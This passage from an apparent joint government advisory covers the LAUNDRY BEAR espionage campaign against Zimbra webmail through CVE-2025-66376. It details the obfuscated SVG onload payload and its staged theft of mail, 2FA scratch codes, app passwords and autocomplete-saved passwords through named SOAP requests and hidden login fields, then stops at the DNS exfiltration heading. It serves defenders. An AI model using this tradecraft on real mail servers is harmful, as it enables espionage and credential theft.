<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
